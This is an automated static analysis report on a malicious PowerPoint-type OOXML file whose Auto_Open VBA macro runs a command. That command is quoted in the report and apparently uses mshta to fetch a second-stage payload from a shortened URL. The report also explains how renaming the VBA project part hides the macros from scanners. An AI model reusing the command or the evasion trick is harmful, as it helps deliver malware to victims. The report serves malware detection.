Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b5234fe19608319f…

MALICIOUS

Office (OOXML)

9.2 KB
MD5: fcee78011c0aa43cdb180bf7aff0a103 SHA-1: d0bb375012e97cebb90df08c3f37fba27155e4ed SHA-256: b5234fe19608319fbe81d2fa81a1f82e894eaa87c4423cc64a8f177d1451fba5
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA project with an Auto_Open macro. This macro is designed to execute a command using ShellExecute, specifically constructing the command string 'cmd msgbox/rmsh ta https://www.bitl y.com/asdodo asdoaokowd'. This indicates an attempt to download and execute a second-stage payload from the provided URL.

Heuristics 5

  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/aosdko.b)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitl

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
2f62c1b3c5cccaa2d1632a39d62d5868d1aee1881ad92ce9888279b8b9cc39e2		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 724 bytes
vbaProject_00.bin
bc67addd4188aa7220a37ac861c70021d534a72f59deb274efe74852af2922c2		 vba-project OOXML VBA project: ppt/aosdko.b 19968 bytes

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